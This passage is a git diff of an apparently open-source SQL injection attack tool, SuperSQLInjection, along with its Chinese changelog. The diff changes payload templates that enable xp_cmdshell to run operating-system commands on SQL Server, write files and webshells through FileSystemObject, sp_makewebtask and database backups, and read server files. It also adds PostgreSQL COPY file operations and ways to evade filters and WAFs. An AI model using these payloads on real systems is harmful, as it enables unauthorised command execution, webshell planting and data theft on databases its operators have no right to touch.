+ public static String getInsertLineValue(String content) { - StringBuilder sb = new StringBuilder(" 1=1 union select "); - for (int i = 1; i <= columnsLen; i++) - { - - if (i == dataIndex) - { - sb.Append(Tools.strToHex(content,"UTF-8")+","); - } - else - { - - sb.Append(fill+","); - } - } - sb.Remove(sb.Length - 1, 1); - sb.Append(" into dumpfile '"+path+"'"); - return sb.ToString(); + return insertLineValue.Replace("{content}", content); + } + public static String getWriteFilePayload(String path) + { + return writeFile.Replace("{path}", path); } public static String getUnionDataValue(int columnsLen, int showIndex, String dataPayLoad, String dbname, String table, String index) { @@ -167,6 +163,9 @@ namespace SuperSQLInjection.payload sb.Remove(sb.Length - 1, 1); return union_value.Replace("{data}", sb.ToString()); } + + + public static String getUnionDataValue(int columnsLen, int showIndex, List columns, String dbname, String table, String index) { StringBuilder sb = new StringBuilder(); @@ -208,7 +207,17 @@ namespace SuperSQLInjection.payload return data; } - + /// + /// 反射条调用,加载显示支持的文件操作 + /// + /// + public static List getShowCanDoFile() + { + List list = new List(); + list.Add("PostgreSQL Copy写文件"); + list.Add("PostgreSQL Copy读文件"); + return list; + } } } diff --git a/SuperSQLInjection/payload/SQLServer.cs b/SuperSQLInjection/payload/SQLServer.cs index dc3db6a..c553866 100644 --- a/SuperSQLInjection/payload/SQLServer.cs +++ b/SuperSQLInjection/payload/SQLServer.cs @@ -69,17 +69,23 @@ namespace SuperSQLInjection.payload //cmd - public static String createTable = " 1=1;drop table ssqlinjection;create table ssqlinjection(id int primary key identity,data varchar(8000));exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;declare @cmd varchar(8000);set @cmd={cmd};insert into ssqlinjection(data) exec [master]..[xp_cmdshell] @cmd;select 1 where 1=1 "; + public static String createTableAndExecCmd = " 1=1;create table ssqlinjection(id int primary key identity,data varchar(8000));exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;declare @cmd varchar(8000);set @cmd={cmd};insert into ssqlinjection(data) exec [master]..[xp_cmdshell] @cmd;select 1 where 1=1 "; public static String cmdData = "cast((select top 1 data from ssqlinjection where id={index}) as varchar(8000))"; public static String cmdDataCount = "(select (select count(*) from ssqlinjection))"; public static String dropTable = " 1=1;drop table ssqlinjection;select 1 where 1=1 "; + public static String dropWriteFileBackUpTableAndDropDB = " 1=1;drop table [ssqlinjection]..[data];drop database ssqlinjection;select 1 where 1=1 "; + + public static String createWriteFileBackUpTable = " 1=1;create table [ssqlinjection]..[data] (content image);select 1 where 1=1 "; + + public static String createWriteFileBackUpDB = " 1=1;create database ssqlinjection;select 1 where 1=1 "; + //文件读写 public static String witeFileByFileSystemObject = " 1=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'ole automation procedures',1;reconfigure;declare @object int;declare @file int;declare @data varchar(8000);set @data={data};declare @path varchar(4000);set @path={path};exec [master]..[sp_oacreate] 'scripting.fileSystemObject',@object out;exec [master]..[sp_oamethod] @object,'createtextfile',@file output,@path;exec [master]..[sp_oamethod] @file,'write',null,@data;exec [master]..[sp_oamethod] @file,'close',null;select 1 where 1=1 "; public static String witeFileBySP_MakeWebTask = " 1=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'web assistant procedures',1;reconfigure;declare @d varchar(8000);set @d={data};declare @p varchar(4000);set @p={path};exec sp_makewebtask @p, @d;select 1 where 1=1 "; - public static String witeFileByBackDataBase = " 1=1;drop database ssqlinjection;create database ssqlinjection;drop table [ssqlinjection]..[data];create table [ssqlinjection]..[data] (content image);insert into [ssqlinjection]..[data](content) values({data});declare @s varchar(8000);set @s={path} backup database ssqlinjection to disk=@s;select 1 where 1=1 "; - public static String readFileByFileSystemobject = " 1=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'ole automation procedures',1;reconfigure;declare @object int;declare @file int;declare @data varchar(8000);exec [master]..[sp_oacreate] 'scripting.filesystemobject',@object out;exec [master]..[sp_oamethod] @object,'OpenTextFile',@file output,'{path}';drop table ssqlinjection;create table ssqlinjection (data varchar(8000));exec [master]..[sp_oamethod] @file,'read',@data out,8000;insert into ssqlinjection(data) values(@data);select 1 where 1=1 "; + public static String witeFileByBackDataBase = " 1=1;insert into [ssqlinjection]..[data](content) values({data});declare @s varchar(8000);set @s={path} backup database ssqlinjection to disk=@s;select 1 where 1=1 "; + public static String readFileByFileSystemobject = " 1=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'ole automation procedures',1;reconfigure;declare @object int;declare @file int;declare @data varchar(8000);exec [master]..[sp_oacreate] 'scripting.filesystemobject',@object out;exec [master]..[sp_oamethod] @object,'OpenTextFile',@file output,'{path}';create table ssqlinjection (data varchar(8000));exec [master]..[sp_oamethod] @file,'read',@data out,8000;insert into ssqlinjection(data) values(@data);select 1 where 1=1 "; //读文件的的payload public static String file_content = "(select data from ssqlinjection)"; @@ -259,5 +265,18 @@ namespace SuperSQLInjection.payload return payload; } + /// + /// 反射条调用,加载显示支持的文件操作 + /// + /// + public static List getShowCanDoFile() + { + List list = new List(); + list.Add("SQLServer FileSystemObject写文件"); + list.Add("SQLServer Sp_MakeWebTask写文件"); + list.Add("SQLServer 备份写WebShell(有多余数据)"); + list.Add("SQLServer FileSystemObject读文件"); + return list; + } } } diff --git a/SuperSQLInjection/tools/Tools.cs b/SuperSQLInjection/tools/Tools.cs index 40c5a9b..721c87e 100644 --- a/SuperSQLInjection/tools/Tools.cs +++ b/SuperSQLInjection/tools/Tools.cs @@ -275,12 +275,25 @@ namespace tools /// public static String convertToString(String[] strs){ + return convertToString(strs,false); + + + } + + + public static String convertToString(String[] strs,bool appendNewLine) + { + StringBuilder sb = new StringBuilder(); - foreach(String s in strs){ + foreach (String s in strs) + { sb.Append(s); + if (appendNewLine) { + sb.Append("\r\n"); + } } return sb.ToString(); - + } /// @@ -383,7 +396,7 @@ namespace tools /// 是否使用状态码判断 /// 关键字 /// - public static Boolean isTrue(ServerInfo server,String key,Boolean reverKey,KeyType keyType) + public static Boolean isTrue(ServerInfo server,String key,Boolean reverKey,KeyType keyType,int trueHTTPCode) { switch (keyType) { @@ -392,17 +405,30 @@ namespace tools //用关键字判断 if (server.body.Length > 0 && server.body.IndexOf(key)!=-1) { - ; if (reverKey) - { - return false; + { + return false; } - return true; + else + { + //判断httpcode是否一致 + if (trueHTTPCode != 0 && server.code == trueHTTPCode) { + return true; + } + return false; + + } + } else { if (reverKey) { + //判断httpcode是否一致 + if (trueHTTPCode != 0 && server.code == trueHTTPCode) + { + return true; + } return true; } return false; @@ -551,6 +577,51 @@ namespace tools return ""; } + /// + /// byte[]转hex,udf调用 + /// + /// + /// + public static String bytesToHex(byte[] bytes) + { + try + { + StringBuilder sb = new StringBuilder(); + if (bytes != null && bytes.Length > 0) { + foreach (Byte s in bytes) + { + sb.Append(s.ToString("x").PadLeft(2, '0')); + } + + } + return sb.ToString(); + } + catch (Exception e) + { + Tools.SysLog("bytesToHex转换错误!" + e.Message); + } + return ""; + } + + /// + /// byte[]转hex,udf调用 + /// + /// + /// + public static String FileToHex(String path,Encoding encode) + { + try + { + byte[] filedata=FileTool.readFileToByte(path, encode); + return bytesToHex(filedata); + } + catch (Exception e) + { + Tools.SysLog("FileToHex转换错误!" + e.Message); + } + return ""; + } + /// /// 转换chr供postgresql替换库名,防止单引号被拦截或过滤 /// @@ -558,24 +629,70 @@ namespace tools /// /// public static String strToChr(String str, String encode) + { + return strToChrOrChar(str, "chr", "||", encode); + } + + + public static String strToChrOrChar(String str, String charFunction,String charConcatStr,String encode) { try { - StringBuilder sb = new StringBuilder("(");//存储转换后的编码 + StringBuilder sb = new StringBuilder(); Byte[] strByte = Encoding.GetEncoding(encode).GetBytes(str); foreach (Byte s in strByte) { - sb.Append("chr("+s+ ")||"); + sb.Append(charFunction+"(" + s + ")"+ charConcatStr); } - return sb.Remove(sb.Length-2,2).Append(")").ToString(); + return sb.Remove(sb.Length - charConcatStr.Length, charConcatStr.Length).ToString(); } catch (Exception e) { - Tools.SysLog("strToChr错误!" + e.Message); + Tools.SysLog("strToChrOrChar错误!" + e.Message); } return ""; } + + + public static String chrOrCharToStr(String str, String charFunction, String encode) + { + try + { + String[] chars = str.Split(' '); + if (chars.Length > 0) { + + Byte[] bs = new Byte[chars.Length]; + int index = 0; + foreach (String s in chars) + { + String cs = s.Replace(charFunction,"").Replace(charFunction + "(", "").Replace(charFunction + ")", ""); + Byte b = (Byte)Tools.convertToInt(cs); + bs[index] = b; + index++; + } + return Encoding.GetEncoding(encode).GetString(bs); + + } + + } + catch (Exception e) + { + Tools.SysLog("strToChrOrChar错误!" + e.Message); + } + return ""; + } + + /// + /// 转换chr供SQLServer替换库名,防止单引号被拦截或过滤 + /// + /// + /// + /// + public static String strToChar(String str, String encode) + { + return strToChrOrChar(str, "char", "+", encode); + } public static int UnicodeInt2UTF8Int(int UnicodeInt) { if (UnicodeInt < 128) diff --git a/SuperSQLInjection/tools/file/FileTool.cs b/SuperSQLInjection/tools/file/FileTool.cs index 1f99ee9..4218c80 100644 --- a/SuperSQLInjection/tools/file/FileTool.cs +++ b/SuperSQLInjection/tools/file/FileTool.cs @@ -137,7 +137,7 @@ namespace tools } //读取文件 - public static Byte[] readFileToByte(String path,int a) + public static Byte[] readFileToByte(String path,Encoding encode) { Byte[] buffer = null; FileStream fs_dir=null; @@ -145,7 +145,7 @@ namespace tools try { fs_dir = new FileStream(path, FileMode.Open, FileAccess.Read); - BinaryReader br = new BinaryReader(fs_dir); + BinaryReader br = new BinaryReader(fs_dir, encode); int len = (int)fs_dir.Length; buffer = new byte[len]; diff --git a/update.txt b/update.txt index 84e66dd..3c9cbb5 100644 --- a/update.txt +++ b/update.txt @@ -1,4 +1,52 @@ -20181117 V1.0 正式版--- +20181221 V1.0 正式版--- +修复盲注关键字判断机制,自动识别时,关键字相同且状态码相同才认为是true页面,解决在部分情况下可能出现错误500页面也存在同样关键字的问题。 +修改SQLServer查询列时,使用char函数方式,避免单引号被过滤导致无法获取列名的问题。 +修复SQLServer 执行命令,读写文件时,可能由于语句报错而导致读写文件失败的问题,优化提高成功率。 +修复betweent and绕过时,将16进制字符替换了,导致语句错误而无法获取数据的问题。 +修复自动识别在某些情况下跳过了错误显示注入检查。 +修复Union注入重复发包判断列情况。 +修复自动识别注入,在部分情况下无法正确判断数据库类型的问题。 +修改爆出注入配置文件,降低漏报。 +优化自动识别注入,如果程序判断支持盲注,会自动尝试使用order by去判断页面列数,提高Union注入检查的速度。 +新增支持注入PostgreSQL文件读写功能。 + +20181216 V1.0 正式版--- +修复SQLServer延时盲注paylaod缺少and导致语句错误无法获取数据的问题。 +修复优化自动识别注入漏报和选择类型错误的问题。 +修复bool延时注入时,获取数据判断数据大小方式不正确的问题。 +修复错误显示注入获取数据时,数据可能被HTML编码或转义到导致数据不正确的问题。 +修复延时注入在正常页面响应速度非常快的情况下,由于计数器可能有误差,导致判断值不正确,而无法正确获取数据(设置了20*time毫秒的误差值)。 +修复读取文件,执行命令无法使用延时判断问题。 +优化配置文件。 +新增支持注入PostgreSQL,目前可获取数据,执行命令和文件操作稍后版本更新。 + +20181212 V1.0 正式版--- +修复MySQL盲注时,在某些情况下,获取的每列数据可能不对应的问题。 +修复Oracle盲注获取数据的语句。 +修复盲注时,提示需要配置Union注入问题。 +优化配置文件,降低数据库类型漏报,增加oracle获取SYS_HASH的语句 + +20181210 V1.0 正式版--- +修复上个版本betweent and绕过时,处理不当导致部分情况可能出现语句错误问题和无法自动识别注入问题。 +优化代码。 + +20181209 V1.0 正式版--- +修复上个版本betweent and绕过时,处理不当导致部分情况可能出现语句错误问题。 +优化代码。 + +20181206 V1.0 正式版--- +修改mysql获取的环境的配置文件,增加hash字段名为authentication_string的查询。 +修复使用了betweent and饶过时,显错注入无法获取数据的情况。 +修复MySQL显错注入,获取数据的每一列结果可能不对应的问题和部分情况可能出现中文乱码的情况。 + +20181205 V1.0 正式版--- +优化注入配置文件,降低误报和漏报。 +优化执行命令,文件读取模块解决部分情况无法执行命令或无法读取文件的情况。 +修复SQLServer通过错误显示方式无法获取数据的情况。 +优化部分代码。 +增加自动识别注入记录,可将URL的每一个参数存在的盲注、报错注入、Union注入都记录下来,可灵活选择对应的注入类型。 + +20181119 V1.0 正式版--- 优化HTTP发包,将http header和body分开发送,在某些情况下可以绕过安全防护。 修复获取数据时,在某些情况下,由于选择列变少,排序列未更新,导致会出现程序排序异常的情况。